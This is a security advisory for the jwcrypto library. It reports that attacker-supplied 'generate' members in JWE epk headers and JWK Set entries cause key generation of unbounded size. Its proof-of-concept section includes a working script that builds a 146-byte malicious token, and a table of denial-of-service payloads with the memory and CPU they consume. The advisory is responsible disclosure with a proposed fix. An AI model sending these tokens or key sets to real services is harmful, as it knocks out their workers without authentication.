Skip to main content
Menu
Advisories

Untrusted JWE epk header and JWK Set entries can trigger unbounded key generation (deprecated generate parameter)

GHSA-WW73-X89G-MF7RPublished Updated GitHub

Description

JWK.__init__ still honours the deprecated generate keyword, and two code paths build a JWK from untrusted data through that constructor: the ECDH-ES epk header during JWE decryption (jwcrypto/jwa.py:869, JWK(**headers['epk'])) and each entry of a JWK Set (jwcrypto/jwk.py:1523, JWK(**jwk)). An epk or key-set entry like {"generate": "oct", "size": 1073741824} makes jwcrypto generate a key of the sender's chosen type and unbounded size - for JWE before any tag check, with no key material needed. A 146-byte token cost ~1.1 GB of memory per decrypt in our test. A fix with tests is ready for a PR in this advisory's temporary private fork.

Details

JWK(**kwargs) calls generate_key() when 'generate' in kwargs (jwk.py:408). _generate_oct does os.urandom(size // 8) and _generate_RSA calls rsa.generate_private_key(e, size); size comes straight from the input (_get_gen_size, jwk.py:450) with no upper bound.

  1. JWE / JWT, ECDH-ES family (in default_allowed_algs): _EcdhEs.unwrap() only checks that epk exists, the ek rule and the recipient key type, then runs JWK(**headers['epk']). The header is attacker-controlled (protected, unprotected or per-recipient). The work repeats per recipient (default_max_recipients = 10) and, with a JWKSet and no kid, per EC/OKP key. Reached through JWE.deserialize(token, key), JWE.decrypt(key) and JWT(jwt=token, key=key).
  2. JWK Sets: JWKSet.from_json() / import_keyset() pass every keys entry to JWK(**entry). The entry count is not limited, and the generated secret/private key is added to the set. Relevant where an application loads a key set it does not control (client jwks / jwks_uri in dynamic registration, federation, user-chosen issuers).

Control: JWK.from_json() uses import_key() directly and refuses the same input with InvalidJWKType, generating nothing.

Affected: the epk path exists since 0.4.0, the key-set path since 0.3.0 (code checked in every tag); behaviour reproduced on 1.5.5 and 1.6.2 (latest). 1.5.1-1.5.4 ship no wheel and were not run.

Proof of concept

Run inside a sandboxed container (Python 3.12, jwcrypto 1.6.2, cryptography 50.0.2, no network). The reproducer wraps os.urandom and rsa.generate_private_key with pass-through counters.

ECDH-ES - the recipient holds an ordinary P-256 key; the token is not encrypted to anything:

from jwcrypto import jwe, jwk
from jwcrypto.common import base64url_encode as b64, json_encode

key = jwk.JWK.generate(kty='EC', crv='P-256')
hdr = {'alg': 'ECDH-ES', 'enc': 'A256GCM',
       'epk': {'generate': 'oct', 'size': 1073741824}}
token = '.'.join([b64(json_encode(hdr)), '', b64(b'\0' * 12), b64(b'x'), b64(b'\0' * 16)])
jwe.JWE().deserialize(token, key)   # raises InvalidJWEData - after the allocation
InputResultWork done
normal ECDH-ES token (control)decryptsnone extra
same epk dict via JWK.from_json() (control)refused, InvalidJWKTypenone
compact JWE, epk oct 2^30 bits (146-byte token)InvalidJWEDataos.urandom(134217728), Python peak 1109 MiB, 2.0 s
compact JWE, epk RSA 4096InvalidJWEDataone RSA-4096 keygen, 1.1 s
jwt.JWT(jwt=..., key=...), epk oct 8 MiBInvalidJWEDataos.urandom(8388608)
JSON JWE, 10 recipients x epk oct 8 MiBInvalidJWEData10 x os.urandom(8388608)
compact JWE, epk RSA 65536still generating after 15 s (killed)nothing below jwcrypto caps the size
JWKSet.from_json('{"keys":[{"generate":"oct","size":1073741824}]}') (51 bytes)imported, 1 secret key in setos.urandom(134217728), peak 1109 MiB
JWKSet.from_json with {"generate":"RSA","size":4096}imported, set holds a new RSA private keyone RSA-4096 keygen
790-byte JWKS, 20 entries x oct 8 MiBimported, 20 secret keys20 x os.urandom(8388608)

Impact

Unauthenticated denial of service against any service that decrypts JWE/encrypted JWTs with an EC or OKP (X25519/X448) key and has not narrowed allowed_algs - one small request makes the worker allocate memory or burn CPU in proportion to a number the attacker writes. Narrower: any service that imports a JWK Set from a party it does not trust. No key or data disclosure; the generated key is random and decryption still fails.

Severity, per finding (CVSS 3.1):

  • ECDH-ES epk (efa90a8c): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 High
  • AV:N - the token arrives over the network (HTTP request).
  • AC:L - default config: ECDH-ES is in default_allowed_algs; the only precondition is that the app decrypts JWEs with an EC/OKP key, which is what ECDH-ES users do.
  • PR:N - nothing is checked before the generation; no key or account needed.
  • UI:N - no user involved.
  • S:U - the impact stays in the process using jwcrypto.
  • C:N / I:N - nothing read or changed; the generated key is never exposed.
  • A:H - one request allocates memory/CPU of the attacker's choosing (1.1 GB from 146 bytes, minutes of CPU for a large RSA size), enough to kill or stall a worker; repeatable.
  • Earlier jwcrypto DoS advisories were scored A:L (5.3); with A:L this one is also 5.3. We score A:H because one request alone, not a flood, costs the worker this much.
  • JWK Set import (5203e84d): CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - 5.9 Medium
  • AV:N - the key set is fetched or submitted over the network.
  • AC:H - only apps that import a key set an outsider controls (dynamic client registration, federation); apps loading their own keys are not affected.
  • PR:N - in open dynamic registration anyone can submit jwks/jwks_uri (PR:L where registration needs an account).
  • UI:N, S:U, C:N, I:N - as above; the attacker gains no key they could not already publish.
  • A:H - as above (with A:L: 3.7 Low).

Fix (ready, PR in the temporary private fork follows): build both keys with JWK() + import_key(), the path JWK.from_json() uses, so generate is just an unknown member. Behaviour change for the release notes: an epk or key-set entry carrying generate together with real key values imports those values (the generate member is kept as an unknown parameter); one without key values is rejected (epk) or skipped like an unknown kty (key set). Direct calls to JWK(generate=...) are unchanged. Question for you: would you also like an upper bound on size in _get_gen_size, or removing the deprecated keyword altogether? We kept the patch to the two call sites.

Not run locally: the py310/311/313/314/315 tox envs (we ran Python 3.12), pylint, codespell, sphinx/doc/doctest and CodeQL.

Issue found and fixed by Claude, then reviewed and confirmed by Ief (GitHub: iefken).

Full disclosure from my end: I am in my 'starter'-steps in learning how to find and report these kinds of bugs/issue's with the help from my (spare-) AI (-usage tokens), so any feedback is greatly appreciated aswell :)

Affected versions

References

GitHub · latchset/jwcrypto